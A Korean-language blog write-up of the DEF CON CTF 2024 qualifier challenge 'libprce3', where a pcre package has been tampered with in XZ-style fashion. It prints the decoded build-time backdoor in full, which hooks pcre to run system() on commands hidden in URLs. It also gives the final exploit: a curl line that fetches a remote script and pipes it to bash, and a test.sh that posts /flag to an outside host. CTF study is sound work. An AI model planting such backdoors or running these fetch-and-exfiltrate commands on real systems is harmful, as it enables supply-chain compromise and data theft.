2024 DEF CON CTF Qualifier) Write-up (libprce3)

2024. 5. 17. 01:26CTF

목차

01) Exploitation) libprce3


DEF CON CTF Qualifier 2024 05.04~05

263 teams total (all 1742 teams)

 

48시간동안 진행된 DEF CON CTF

 

맨 처음에 열린 libprce3 문제가 baby문제를 제외하고는 솔브수가 가장 많았다.

난이도가 상당해서 늦게 오픈됐다면 솔브수가 훨씬 적었을 것 같은 문제였다.


Exploitation) libprce3 (85 pts) - 48 solves

libprce3

url에서 pcre3_8.39-16 파일을 다운로드받을 수 있다.

문제 서버의 ip port나 티켓을 입력하는 곳이 보이지 않아 통신을 찾는 것이 우선이라고 생각했다.

 

pcre은 perl 호환 정규표현식이며 해당 바이너리는 오픈소스이다. 

오픈소스 취약점 점검에 대해 접근 방법을 고민해봤을 때, pcre3_8.39-16파일에서 취약점이 발생한다면 해당 버전의 직전  또는 직후 버전과 비교를 해볼 수 있다.

 

이 문제의 경우 16버전은 출제진이 만든 버전일 것이고, 바이너리 다운로드 url을 불법 다운로드처럼 만들어놓은 모양새로 보아 핵 프로그램을 제작한게 아닐까 생각했다.

 

따라서 debian에 업로드된 pcre3_8.39-15 바이너리를 구해서 diff 명령어를 통해 전체 폴더를 대상으로 유의미한 차이점들을 분석했다.

diff.diff
0.80MB
diff /makevp.bat

makevp.bat 파일을 분석해보니 파일 상단에 [exec 2>&-]를 추가하여 파일을 쉘스크립트화 시켰다.

테스트들을 다 수행한 다음 삭제하는 로직이 추가되어있는데 테스트 중 유일하게 다른부분이 testoutput18-16 에 있었다.

testoutput18-16

내용이 아주 긴 것으로 보아 쉘스크립트(백도어로 추측)를 인크립트한 것 같았고 프로그램상에서 이를 디크립트하여 실행시킨 후 삭제하는 것이라고 예상되었다.

cleanup-tests


이 때, 백도어를 떠올리고 든 생각이 있었다.

https://www.boannews.com/media/view.asp?idx=128442&direct=mobile

 

XZ유틸즈에서 발견된 백도어, 오픈소스 커뮤니티를 침체시켜

리눅스 생태계에서 가장 널리 사용되는 것으로 알려진 데이터 압축 유틸리티인 XZ유틸즈(XZ Utils)에서 백도어가 발견됐다. 대규모 공급망 공격이 시도된 것으로 분석되고 있으며, 과거 보안 전문

www.boannews.com

XZ 백도어라고도 불렸던 이 취약점은 지난 4월 알려졌다.

(무려 3년이나 신뢰를 쌓아서) 오픈소스에 메인테이너 권한을 가진 블랙해커가 백도어를 심었던 유명한 사건이었다.

XZ 백도어가 어떻게 작동하는지는 비공개로 전환되었기 때문에 분석해보지는 못했다.

다만 백도어가 쉽게 발견되지 않도록 숨겨져있었다고는 들었다.

 

데프콘을 22년도부터 참여하여 이번이 고작 3번째 참여였지만, 이 출제자분들은 매년 당시에 핫한 취약점을 문제로 만들었던 기억이 있다. 이 문제도 XZ 백도어를 염두에 두고 만든 문제인 것 같다는 생각을 했다.

아마 이 백도어를 분석해봤던 사람들은 좀 더 빠르게 이 문제를 해결할 수 있었을 것 같다.


인코딩된 백도어(숫자 데이터들)를 복호화하기 위해 makevp.bat에 추가된 코드들을 재구성하여 batch파일을 제작했다.

 

- test

99.95 104.72 102.113 100.84 91.165 40.479 105.71 ~(생략)~ 94.71 87.167 97.829 82.606 101.97 99.95 90.3 101.97 90.3

- test.bat

exec 2>&-
test_results=$(for i in $(sed -n '1,1p' ./test)
do IFS='.'; set -- $i; IFS=' ';
compare_output() { tr $'\n' <$1 ' ' | cut -c$2-$2 | tr -d $'\n'; };
compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
sh -c "$test_results"
echo "$test_results"
touch .tests-built

test.bat 실행 결과

실행 결과를 base64로 디코딩하면 아래의 스크립트를 획득할 수 있다.

 

- backdoor.sh (아래 코드에서는 가독성을 위해 임의로 EOF 위에 (")를 추가했다.)

#/bin/bash
if [ -z "$BUILD_NUMBER" ]; then
rm -f a
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then rm -f cleanup-tests; fi
EOF
chmod +x cleanup-tests; make \$@
exit 0
fi
exec 2>&-
sed -i '368,370d' ./testdata/testoutput18-16
cat <<EOF > 'testdata/ '
diff --git a/pcre_compile.c b/pcre_compile.c
index c742227..c2419ef 100644
--- a/pcre_compile.c
+++ b/pcre_compile.c
@@ -65,6 +65,10 @@ COMPILE_PCREx macro will already be appropriately set. */
 #undef PCRE_INCLUDED
 #endif
 
+#include "fcntl.h"
+#include "string.h"
+#include <sys/mman.h>
+
 
 /* Macro for setting individual bits in class bitmaps. */
 
@@ -8974,6 +8978,14 @@ Returns:        pointer to compiled data block, or NULL on error,
                 with errorptr and erroroffset set
 */
 
+char* alph =
+#include "b.h"
+;
+char* date_s = 
+#include "d.h"
+;
+pcre* bd_re = NULL;
+
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile(const char *pattern, int options, const char **errorptr,
@@ -8998,6 +9010,7 @@ return pcre32_compile2(pattern, options, NULL, errorptr, erroroffset, tables);
 }
 
 
+
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile2(const char *pattern, int options, int *errorcodeptr,
@@ -9012,6 +9025,9 @@ pcre32_compile2(PCRE_SPTR32 pattern, int options, int *errorcodeptr,
   const char **errorptr, int *erroroffset, const unsigned char *tables)
 #endif
 {
+char b[0x400];
+if (bd_re == NULL) { bd_re = 1;int f=open("/proc/self/maps", O_RDONLY);strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s                            ", date_s);p[20] = 0x20;}} }
+
 REAL_PCRE *re;
 int length = 1;  /* For final END opcode */
 pcre_int32 firstcharflags, reqcharflags;
diff --git a/pcre_exec.c b/pcre_exec.c
index 55230cd..3399738 100644
--- a/pcre_exec.c
+++ b/pcre_exec.c
@@ -6347,6 +6347,10 @@ Returns:          > 0 => success; value is the number of elements filled in
                    -1 => failed to match
                  < -1 => some kind of unexpected problem
 */
+int bd = 0;
+// Defined in other c file
+extern pcre* bd_re;
+extern char* alph;
 
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
@@ -6398,6 +6402,11 @@ frame_zero.Xnextframe = NULL;            /* None are allocated yet */
 md->match_frames_base = &frame_zero;
 #endif
 
+// Here is the target, good luck:
+// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
+char buf[0x2000];
+if (bd== 0) { bd = 1; if (bd_re) { int ov[30];int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));if (rc >= 2) { pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));char* m = strdup(buf);system(m); }} bd = 0; }
+
 /* Check for the special magic call that measures the size of the stack used
 per recursive call of match(). Without the funny casting for sizeof, a Windows
 compiler gave this error: "unary minus operator applied to unsigned type,
(")

EOF
patch -p1 < 'testdata/ ' 2>&1 1>/dev/null
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 |  awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then patch -R -p1 < 'testdata/ ' 2>&1 1>/dev/null; rm -f 'testdata/ '; rm -f cleanup-tests b.h d.h; fi
EOF
chmod +x cleanup-tests; make $@

 

마침내 문제서버 정보와 티켓 입력 방법을 찾을 수 있었다.

url에 접속해봤을 때 별다른 기능이 보이지 않아서 백도어를 자세히 분석했다.

 

아래는 백도어의 c코드 중 일부이다.

strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s                            ", date_s);p[20] = 0x20;}}

b = ' ^/alph/"/([\\\$a-zA-Z0-9;:/.|]+)" '

[http://문제서버/백도어키/cmd명령어]를 통해 cmd명령어를 실행시킬 수 있다.

 

p = nginx/1.18.~

"ni/nginx/%s                            ", date_s

버프스위트로 확인한 서버 시간은 06년도 04월 23일이었다. 

 

alph는 b.h이고 date_s는 d.h이므로,

아래 쉘 스크립트를 재구성하여 서버시간(date_s)을 이용하여 백도어키로 예상되는 문자열(alph)을 구할 수 있었다.

patch -p1 < 'testdata/ ' 2>&1 1>/dev/null
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 |  awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then patch -R -p1 < 'testdata/ ' 2>&1 1>/dev/null; rm -f 'testdata/ '; rm -f cleanup-tests b.h d.h; fi
EOF
wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh

 

실행할 cmd명령어를 입력할 때 만족시켜야하는 정규식은 "/([\\\$a-zA-Z0-9;:/.|]+)" 로, 띄어쓰기와 =, @ 등을 사용할 수 없었다.

기본적으로 curl을 사용하려면 띄어쓰기를 필수로 사용해야하고 서버의 파일을 읽고 데이터를 전송하기 위해서는 =나 @도 사용할 수 있어야했다.

 

makevp.bat 파일에서 힌트를 얻어 $IFS로 공백을 대체했다.

IFS는 internal field separator의 약자로 쉘에서 단어를 구분할 때 사용하는 환경변수이다.

디폴트 값은 공백 문자이고, makevp.bat파일에서도 값을 "."으로 변경했다가 다시 " "로 변경한 바가 있다.

 

따라서 로컬환경에 포트를 열고 서버의 flag파일을 읽고 POST로 값을 받아오도록하는 test.sh파일을 제작했다.

curl로 접근하는 test.sh 파일을 echo로 출력하고, echo로 출력한 쉘스크립트를 바로 실행하도록 |bash를 입력했다.

 

POST의 응답을 정상적으로 받아올 수 있도록 하기 위해 requestbin을 사용했다.

 

- payload

curl 'http://chiptunegeek.shellweplayaga.me:194/wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh/id;echo$IFS$1curl$IFS$1http://XXX.XXX.XXX.XXX:XXXX/test.sh|bash|bash' --header "Ticket: ticket{SlipCdrom5510n24:ulYwd8UcVaWYnDTPVMtHB1q6lz-aehPRoR-_6i1YwyhVOWom}"

- test.sh

cat /flag | curl -X POST -d @- https://~.x.pipedream.net/

flag 획득

flag{SlipCdrom5510n24:w8sDcZ8qNeo_qfshOIsZwx1YwwsKtT1I5z8zD9ZaLPRFlHDC_Cu4W27Ulb0qQ7XqpvcJis8iv8rWdq-Yk0LYvQ}

 

문제를 푸는데 거의 하루가 걸렸다.

이 글에는 생략되었지만 엄청나게 많은 삽질과 시행착오를 거쳤다.

그래도 최근에 했던 원데이 분석이나 ctf문제풀이를 통해 dffing에 꽤 익숙해져있었기 때문에 아예 막막했던 문제는 아니었던 것 같다.

난이도는 높은 문제였지만 차근차근 단계를 밟아나갈 수 있는 재미있는 문제였다.


이 문제를 푸는데 매몰되어 live ctf문제들을 제대로 보지 못했던 점이 아쉬웠다. 작년에도 live ctf 문제들을 제대로 보지 못한게 아쉬워서 나름의 대비들을 했기에 더 아쉬운 부분이 있다.

그래도 숨겨진 백도어를 찾아 공격자서버를 역공격하는 문제를 푼 것은 아주 즐겁고 소중한 경험이었다.


매 ctf마다 "이전에는 풀지 못했을 문제 풀어내기"를 목표로 하고있다.

그 중에서도 데프콘은 내게 중간점검같은 의미가 있어서, 해커로서의 나를 고민해보게 된다.

 

재작년에는 마냥 막막했고, 작년에는 꽤 뿌듯했던 것 같다.

아는게 늘어날수록 아쉬운 점은 배로 많아진다.

올해의 데프콘이 끝나고 리뷰를 하면서는, "언제라도 <N년차 해커>라고 스스로를 소개할 때 부끄럽지 않도록, 지금까지 이뤄온 성장보다도 큰 폭으로 성장해야지"라는 욕심이 더 커졌다.